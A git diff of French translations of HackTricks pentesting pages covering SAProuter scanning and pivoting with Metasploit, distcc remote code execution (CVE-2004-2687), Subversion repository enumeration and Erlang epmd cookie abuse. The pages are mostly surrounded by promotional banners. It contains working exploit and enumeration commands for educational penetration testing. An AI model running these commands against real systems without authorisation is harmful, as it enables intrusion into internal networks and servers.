Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,36 @@
|
|||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```text
|
||||
PORT STATE SERVICE VERSION
|
||||
3299/tcp open saprouter?
|
||||
```
|
||||
## Compréhension de la Pénétration de SAProuter avec Metasploit
|
||||
Ceci est un résumé du post de [https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/](https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
SAProuter agit comme un proxy inverse pour les systèmes SAP, principalement pour contrôler l'accès entre Internet et les réseaux internes SAP. Il est couramment exposé à Internet en autorisant le port TCP 3299 à travers les pare-feu organisationnels. Cette configuration rend SAProuter une cible attrayante pour les tests de pénétration car il pourrait servir de passerelle vers des réseaux internes de grande valeur.
|
||||
## Comprendre la pénétration de SAProuter avec Metasploit
|
||||
|
||||
**Balayage et Collecte d'Informations**
|
||||
SAProuter agit comme un proxy inverse pour les systèmes SAP, principalement pour contrôler l'accès entre Internet et les réseaux SAP internes. Il est couramment exposé à Internet en permettant le port TCP 3299 à travers les pare-feu organisationnels. Cette configuration rend SAProuter une cible attrayante pour le pentesting car elle peut servir de passerelle vers des réseaux internes de grande valeur.
|
||||
|
||||
Initialement, un balayage est effectué pour identifier si un routeur SAP fonctionne sur une adresse IP donnée en utilisant le module **sap_service_discovery**. Cette étape est cruciale pour établir la présence d'un routeur SAP et de son port ouvert.
|
||||
**Analyse et collecte d'informations**
|
||||
|
||||
Initialement, un scan est effectué pour identifier si un routeur SAP fonctionne sur une IP donnée en utilisant le module **sap_service_discovery**. Cette étape est cruciale pour établir la présence d'un routeur SAP et de son port ouvert.
|
||||
```text
|
||||
msf> use auxiliary/scanner/sap/sap_service_discovery
|
||||
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
|
||||
msf auxiliary(sap_service_discovery) > run
|
||||
```
|
||||
Suite à la découverte, une enquête approfondie sur la configuration du routeur SAP est effectuée avec le module **sap_router_info_request** afin de potentiellement révéler des détails sur le réseau interne.
|
||||
Suite à la découverte, une enquête plus approfondie sur la configuration du routeur SAP est effectuée avec le module **sap_router_info_request** pour potentiellement révéler des détails sur le réseau interne.
|
||||
```text
|
||||
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
|
||||
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
|
||||
|
@ -35,27 +38,27 @@ msf auxiliary(sap_router_info_request) > run
|
|||
```
|
||||
**Énumération des services internes**
|
||||
|
||||
Avec les informations obtenues sur le réseau interne, le module **sap_router_portscanner** est utilisé pour sonder les hôtes et les services internes via le SAProuter, permettant une compréhension plus approfondie des réseaux internes et des configurations de services.
|
||||
Avec les informations obtenues sur le réseau interne, le module **sap_router_portscanner** est utilisé pour sonder les hôtes et services internes via le SAProuter, permettant une compréhension plus approfondie des réseaux internes et des configurations de services.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
|
||||
```
|
||||
Ce module offre une flexibilité permettant de cibler des instances SAP spécifiques et des ports, en faisant un outil efficace pour une exploration détaillée du réseau interne.
|
||||
La flexibilité de ce module à cibler des instances SAP spécifiques et des ports en fait un outil efficace pour une exploration détaillée du réseau interne.
|
||||
|
||||
**Énumération avancée et cartographie des ACL**
|
||||
**Énumération Avancée et Cartographie des ACL**
|
||||
|
||||
Des scans supplémentaires peuvent révéler comment les listes de contrôle d'accès (ACL) sont configurées sur le SAProuter, détaillant quelles connexions sont autorisées ou bloquées. Ces informations sont cruciales pour comprendre les politiques de sécurité et les vulnérabilités potentielles.
|
||||
Un scan supplémentaire peut révéler comment les Listes de Contrôle d'Accès (ACL) sont configurées sur le SAProuter, détaillant quelles connexions sont autorisées ou bloquées. Cette information est essentielle pour comprendre les politiques de sécurité et les vulnérabilités potentielles.
|
||||
```text
|
||||
msf auxiliary(sap_router_portscanner) > set MODE TCP
|
||||
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
|
||||
```
|
||||
**Énumération aveugle des hôtes internes**
|
||||
**Énumération à l'aveugle des hôtes internes**
|
||||
|
||||
Dans les scénarios où les informations directes provenant du SAProuter sont limitées, des techniques telles que l'énumération aveugle peuvent être appliquées. Cette approche tente de deviner et de vérifier l'existence de noms d'hôtes internes, révélant ainsi des cibles potentielles sans adresses IP directes.
|
||||
Dans les scénarios où les informations directes du SAProuter sont limitées, des techniques comme l'énumération à l'aveugle peuvent être appliquées. Cette approche tente de deviner et de vérifier l'existence de noms d'hôtes internes, révélant des cibles potentielles sans adresses IP directes.
|
||||
|
||||
**Exploitation des informations pour les tests de pénétration**
|
||||
**Exploitation des informations pour le pentesting**
|
||||
|
||||
Après avoir cartographié le réseau et identifié les services accessibles, les testeurs de pénétration peuvent utiliser les capacités de proxy de Metasploit pour pivoter à travers le SAProuter afin d'explorer et d'exploiter davantage les services SAP internes.
|
||||
Après avoir cartographié le réseau et identifié les services accessibles, les testeurs de pénétration peuvent utiliser les capacités de proxy de Metasploit pour pivoter à travers le SAProuter pour une exploration et une exploitation supplémentaires des services SAP internes.
|
||||
```text
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
|
||||
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
|
||||
|
@ -63,12 +66,11 @@ msf auxiliary(sap_hostctrl_getcomputersystem) > run
|
|||
```
|
||||
**Conclusion**
|
||||
|
||||
Cette approche souligne l'importance des configurations sécurisées des SAProuter et met en lumière le potentiel d'accès aux réseaux internes grâce à des tests de pénétration ciblés. Sécuriser correctement les routeurs SAP et comprendre leur rôle dans l'architecture de sécurité réseau est crucial pour se protéger contre les accès non autorisés.
|
||||
Cette approche souligne l'importance des configurations sécurisées de SAProuter et met en évidence le potentiel d'accès aux réseaux internes grâce à des tests de pénétration ciblés. Sécuriser correctement les routeurs SAP et comprendre leur rôle dans l'architecture de sécurité réseau est crucial pour se protéger contre les accès non autorisés.
|
||||
|
||||
Pour des informations plus détaillées sur les modules Metasploit et leur utilisation, visitez la [base de données de Rapid7](http://www.rapid7.com/db).
|
||||
Pour des informations plus détaillées sur les modules Metasploit et leur utilisation, visitez [la base de données de Rapid7](http://www.rapid7.com/db).
|
||||
|
||||
|
||||
## **Références**
|
||||
## **References**
|
||||
|
||||
* [https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/](https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/)
|
||||
|
||||
|
@ -78,16 +80,17 @@ Pour des informations plus détaillées sur les modules Metasploit et leur utili
|
|||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
**Distcc** est un outil qui améliore le **processus de compilation** en utilisant la **puissance de traitement inutilisée** d'autres ordinateurs du réseau. Lorsque **distcc** est configuré sur une machine, cette machine est capable de distribuer ses **tâches de compilation** à un autre système. Ce système destinataire doit exécuter le **démon distccd** et doit avoir un **compilateur compatible** installé pour traiter le code envoyé.
|
||||
**Distcc** est un outil qui améliore le **processus de compilation** en utilisant la **puissance de traitement inoccupée** d'autres ordinateurs sur le réseau. Lorsque **distcc** est configuré sur une machine, cette machine est capable de distribuer ses **tâches de compilation** à un autre système. Ce système récepteur doit exécuter le **démon distccd** et doit avoir un **compilateur compatible** installé pour traiter le code envoyé.
|
||||
|
||||
**Port par défaut :** 3632
|
||||
```
|
||||
|
@ -24,16 +25,16 @@ PORT STATE SERVICE
|
|||
```
|
||||
# Exploitation
|
||||
|
||||
Vérifiez si le système est vulnérable à **CVE-2004-2687** pour exécuter du code arbitraire :
|
||||
Vérifiez s'il est vulnérable à **CVE-2004-2687** pour exécuter du code arbitraire :
|
||||
```bash
|
||||
msf5 > use exploit/unix/misc/distcc_exec
|
||||
nmap -p 3632 <ip> --script distcc-cve2004-2687 --script-args="distcc-exec.cmd='id'"
|
||||
```
|
||||
# Shodan
|
||||
|
||||
_Je ne pense pas que Shodan détecte ce service._
|
||||
_Je ne pense pas que shodan détecte ce service._
|
||||
|
||||
# Ressources
|
||||
# Resources
|
||||
|
||||
* [https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec](https://www.rapid7.com/db/modules/exploit/unix/misc/distcc\_exec)
|
||||
* [https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
|
||||
|
@ -41,16 +42,17 @@ _Je ne pense pas que Shodan détecte ce service._
|
|||
Post créé par **Álex B (@r1p)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,22 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
**Subversion** est un **système de contrôle de version centralisé** qui joue un rôle crucial dans la gestion des données actuelles et historiques des projets. Étant un outil **open source**, il fonctionne sous la **licence Apache**. Ce système est largement reconnu pour ses capacités en **versionnage de logiciels et en contrôle de révisions**, garantissant que les utilisateurs peuvent suivre efficacement les changements au fil du temps.
|
||||
**Subversion** est un **système de contrôle de version** centralisé qui joue un rôle crucial dans la gestion des données présentes et historiques des projets. Étant un outil **open source**, il fonctionne sous la **licence Apache**. Ce système est largement reconnu pour ses capacités en **versionnage de logiciels et contrôle de révisions**, garantissant que les utilisateurs peuvent suivre efficacement les changements au fil du temps.
|
||||
|
||||
**Port par défaut :** 3690
|
||||
```
|
||||
|
@ -33,16 +34,17 @@ svn log svn://10.10.10.203 #Commit history
|
|||
svn checkout svn://10.10.10.203 #Download the repository
|
||||
svn up -r 2 #Go to revision 2 inside the checkout folder
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team AWS (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Formation Expert Red Team GCP (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,29 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
D'autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Informations de base
|
||||
|
||||
Le **Démon de mappage de port Erlang (epmd)** sert de coordinateur pour les instances Erlang distribuées. Il est responsable de la mise en correspondance des noms de nœuds symboliques avec les adresses des machines, garantissant essentiellement que chaque nom de nœud est associé à une adresse spécifique. Ce rôle de **epmd** est crucial pour l'interaction et la communication transparentes entre différents nœuds Erlang à travers un réseau.
|
||||
Le **Erlang Port Mapper Daemon (epmd)** sert de coordinateur pour les instances Erlang distribuées. Il est responsable de la correspondance des noms de nœuds symboliques avec des adresses machines, garantissant essentiellement que chaque nom de nœud est associé à une adresse spécifique. Ce rôle de **epmd** est crucial pour l'interaction et la communication sans faille entre différents nœuds Erlang à travers un réseau.
|
||||
|
||||
**Port par défaut** : 4369
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
4369/tcp open epmd Erlang Port Mapper Daemon
|
||||
```
|
||||
Ceci est utilisé par défaut sur les installations de RabbitMQ et CouchDB.
|
||||
Ceci est utilisé par défaut sur les installations RabbitMQ et CouchDB.
|
||||
|
||||
# Énumération
|
||||
|
||||
|
@ -55,7 +56,7 @@ PORT STATE SERVICE VERSION
|
|||
|
||||
## Connexion à distance
|
||||
|
||||
Si vous pouvez **dévoiler le cookie d'authentification**, vous pourrez exécuter du code sur l'hôte. Habituellement, ce cookie est situé dans `~/.erlang.cookie` et est généré par Erlang au premier démarrage. S'il n'est pas modifié ou défini manuellement, il s'agit d'une chaîne aléatoire \[A:Z] d'une longueur de 20 caractères.
|
||||
